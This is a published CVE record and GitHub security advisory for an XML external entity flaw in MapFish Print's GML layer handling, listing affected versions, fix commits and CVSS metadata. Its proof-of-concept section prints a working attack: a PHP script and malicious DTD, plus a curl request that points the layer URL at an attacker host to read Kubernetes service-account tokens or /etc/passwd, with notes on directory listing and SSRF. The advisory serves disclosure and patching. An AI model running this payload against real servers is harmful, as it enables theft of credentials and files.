2026-08-28 22:31CVE-2026-55848GitHub_M
PUBLISHED5.2CWE-611

mapfish-print: XXE on MapFish Print allows reading arbitrary files of certain types

mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5.

Problem type

Affected products

mapfish

mapfish-print

>= 3.0.0, < 3.28.30 - AFFECTED

>= 3.29.0, < 3.30.32 - AFFECTED

>= 3.31.0, < 3.31.24 - AFFECTED

>= 3.32.0, < 3.33.16 - AFFECTED

>= 4.0.0, < 4.0.5 - AFFECTED

org.mapfish.print.print-lib

>= 3.0.0, < 3.28.30 - AFFECTED

>= 3.29.0, < 3.30.32 - AFFECTED

>= 3.31.0, < 3.31.24 - AFFECTED

>= 3.32.0, < 3.33.16 - AFFECTED

>= 4.0.0, < 4.0.5 - AFFECTED

org.mapfish.print.print-servlet

>= 3.0.0, < 3.28.30 - AFFECTED

>= 3.29.0, < 3.30.32 - AFFECTED

>= 3.31.0, < 3.31.24 - AFFECTED

>= 3.32.0, < 3.33.16 - AFFECTED

>= 4.0.0, < 4.0.5 - AFFECTED

References

https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r

https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r

x_refsource_CONFIRM
https://github.com/mapfish/mapfish-print/pull/4212

https://github.com/mapfish/mapfish-print/pull/4212

x_refsource_MISC
https://github.com/mapfish/mapfish-print/pull/4215

https://github.com/mapfish/mapfish-print/pull/4215

x_refsource_MISC
https://github.com/mapfish/mapfish-print/pull/4216

https://github.com/mapfish/mapfish-print/pull/4216

x_refsource_MISC
https://github.com/mapfish/mapfish-print/pull/4217

https://github.com/mapfish/mapfish-print/pull/4217

x_refsource_MISC
https://github.com/mapfish/mapfish-print/pull/4219

https://github.com/mapfish/mapfish-print/pull/4219

x_refsource_MISC
https://github.com/mapfish/mapfish-print/pull/4221

https://github.com/mapfish/mapfish-print/pull/4221

x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec

https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec

x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121

https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121

x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb

https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb

x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d

https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d

x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236

https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236

x_refsource_MISC
https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1

https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1

x_refsource_MISC
https://github.com/mapfish/mapfish-print/releases/tag/3.28.30

https://github.com/mapfish/mapfish-print/releases/tag/3.28.30

x_refsource_MISC
https://github.com/mapfish/mapfish-print/releases/tag/3.30.32

https://github.com/mapfish/mapfish-print/releases/tag/3.30.32

x_refsource_MISC
https://github.com/mapfish/mapfish-print/releases/tag/3.31.24

https://github.com/mapfish/mapfish-print/releases/tag/3.31.24

x_refsource_MISC
https://github.com/mapfish/mapfish-print/releases/tag/4.0.5

https://github.com/mapfish/mapfish-print/releases/tag/4.0.5

x_refsource_MISC

GitHub Security Advisories

GHSA-5v29-34h8-v68r

MapFish Print has XXE that allows reading arbitrary files of certain types

https://github.com/advisories/GHSA-5v29-34h8-v68r

Summary

XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

Details

To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

PoC

Host this php file somewhere as xxe.php:

<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
 <!ENTITY % payload SYSTEM \"file://$p\">
 <!ENTITY % dtd SYSTEM \"$u\">
 %dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";

and beneath host this "evil.dtd"

<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'

Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.

It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://

Impact

disclose local files. blind(ish) SSRF (depends on the servers response data)

JSON source

https://cveawg.mitre.org/api/cve/CVE-2026-55848
Click to expand
{
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "cveMetadata": {
    "cveId": "CVE-2026-55848",
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "dateUpdated": "2026-08-28T22:31:26.705Z",
    "dateReserved": "2026-06-17T16:44:40.994Z",
    "datePublished": "2026-08-28T22:31:26.705Z",
    "state": "PUBLISHED"
  },
  "containers": {
    "cna": {
      "providerMetadata": {
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M",
        "dateUpdated": "2026-08-28T22:31:26.705Z"
      },
      "title": "mapfish-print: XXE on MapFish Print allows reading arbitrary files of certain types",
      "descriptions": [
        {
          "lang": "en",
          "value": "mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5."
        }
      ],
      "affected": [
        {
          "vendor": "mapfish",
          "product": "mapfish-print",
          "versions": [
            {
              "version": ">= 3.0.0, < 3.28.30",
              "status": "affected"
            },
            {
              "version": ">= 3.29.0, < 3.30.32",
              "status": "affected"
            },
            {
              "version": ">= 3.31.0, < 3.31.24",
              "status": "affected"
            },
            {
              "version": ">= 3.32.0, < 3.33.16",
              "status": "affected"
            },
            {
              "version": ">= 4.0.0, < 4.0.5",
              "status": "affected"
            }
          ]
        },
        {
          "vendor": "mapfish",
          "product": "org.mapfish.print.print-lib",
          "versions": [
            {
              "version": ">= 3.0.0, < 3.28.30",
              "status": "affected"
            },
            {
              "version": ">= 3.29.0, < 3.30.32",
              "status": "affected"
            },
            {
              "version": ">= 3.31.0, < 3.31.24",
              "status": "affected"
            },
            {
              "version": ">= 3.32.0, < 3.33.16",
              "status": "affected"
            },
            {
              "version": ">= 4.0.0, < 4.0.5",
              "status": "affected"
            }
          ]
        },
        {
          "vendor": "mapfish",
          "product": "org.mapfish.print.print-servlet",
          "versions": [
            {
              "version": ">= 3.0.0, < 3.28.30",
              "status": "affected"
            },
            {
              "version": ">= 3.29.0, < 3.30.32",
              "status": "affected"
            },
            {
              "version": ">= 3.31.0, < 3.31.24",
              "status": "affected"
            },
            {
              "version": ">= 3.32.0, < 3.33.16",
              "status": "affected"
            },
            {
              "version": ">= 4.0.0, < 4.0.5",
              "status": "affected"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "lang": "en",
              "description": "CWE-611: Improper Restriction of XML External Entity Reference",
              "cweId": "CWE-611",
              "type": "CWE"
            }
          ]
        }
      ],
      "references": [
        {
          "url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r",
          "name": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r",
          "tags": [
            "x_refsource_CONFIRM"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/pull/4212",
          "name": "https://github.com/mapfish/mapfish-print/pull/4212",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/pull/4215",
          "name": "https://github.com/mapfish/mapfish-print/pull/4215",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/pull/4216",
          "name": "https://github.com/mapfish/mapfish-print/pull/4216",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/pull/4217",
          "name": "https://github.com/mapfish/mapfish-print/pull/4217",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/pull/4219",
          "name": "https://github.com/mapfish/mapfish-print/pull/4219",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/pull/4221",
          "name": "https://github.com/mapfish/mapfish-print/pull/4221",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec",
          "name": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121",
          "name": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb",
          "name": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d",
          "name": "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236",
          "name": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1",
          "name": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30",
          "name": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32",
          "name": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24",
          "name": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5",
          "name": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5",
          "tags": [
            "x_refsource_MISC"
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "version": "3.1",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "CHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH"
          }
        }
      ]
    }
  }
}